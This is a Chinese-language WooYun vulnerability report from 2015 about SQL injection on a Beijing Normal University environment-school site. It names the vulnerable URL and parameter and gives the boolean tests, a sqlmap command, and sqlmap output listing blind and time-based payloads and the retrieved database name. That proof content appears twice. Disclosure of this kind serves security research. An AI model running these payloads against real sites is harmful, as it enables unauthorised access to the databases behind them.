当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098191

漏洞标题:北京师范大学环境学院分站存在SQL注入

相关厂商:北京师范大学

漏洞作者: 路人甲

提交时间:2015-02-25 10:24

修复时间:2015-03-03 09:00

公开时间:2015-03-03 09:00

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-25: 细节已通知厂商并且等待厂商处理中
2015-03-03: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

北京师范大学环境学院分站存在SQL注入

详细说明:

测试点:

http://env.bnu.edu.cn/morenews.php?id=1


and 1=1


`E1NW)383%{1W7}K0K6ME5T.png

正常

and 1=2


N~F~H)Q]UAU[)B3J~_~DF]4.png

错误
sqlmap测试:

root@Happy:~# sqlmap -u http://env.bnu.edu.cn/morenews.php?id=1 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 18:01:07
[18:01:07] [INFO] resuming back-end DBMS 'mysql'
[18:01:08] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 7924=7924
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1 AND SLEEP(5)
---
[18:01:09] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.3
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
[18:01:09] [INFO] fetching database names
[18:01:09] [INFO] fetching number of databases
[18:01:09] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[18:01:09] [INFO] retrieved:
[18:01:09] [WARNING] time-based comparison requires larger statistical model, please wait...........................
[18:01:36] [CRITICAL] there is considerable lagging in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[18:01:36] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[18:01:36] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[18:01:36] [ERROR] unable to retrieve the number of databases
[18:01:36] [INFO] falling back to current database
[18:01:36] [INFO] fetching current database
[18:01:36] [INFO] retrieved: iesdbnew
available databases [1]:
[*] iesdbnew

漏洞证明:

测试点:

http://env.bnu.edu.cn/morenews.php?id=1


and 1=1


`E1NW)383%{1W7}K0K6ME5T.png

正常

and 1=2


N~F~H)Q]UAU[)B3J~_~DF]4.png

错误
sqlmap测试:

root@Happy:~# sqlmap -u http://env.bnu.edu.cn/morenews.php?id=1 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 18:01:07
[18:01:07] [INFO] resuming back-end DBMS 'mysql'
[18:01:08] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 7924=7924
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1 AND SLEEP(5)
---
[18:01:09] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.3
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
[18:01:09] [INFO] fetching database names
[18:01:09] [INFO] fetching number of databases
[18:01:09] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[18:01:09] [INFO] retrieved:
[18:01:09] [WARNING] time-based comparison requires larger statistical model, please wait...........................
[18:01:36] [CRITICAL] there is considerable lagging in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[18:01:36] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[18:01:36] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[18:01:36] [ERROR] unable to retrieve the number of databases
[18:01:36] [INFO] falling back to current database
[18:01:36] [INFO] fetching current database
[18:01:36] [INFO] retrieved: iesdbnew
available databases [1]:
[*] iesdbnew

修复方案:

你懂的

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-03-03 09:00

厂商回复:

最新状态:

暂无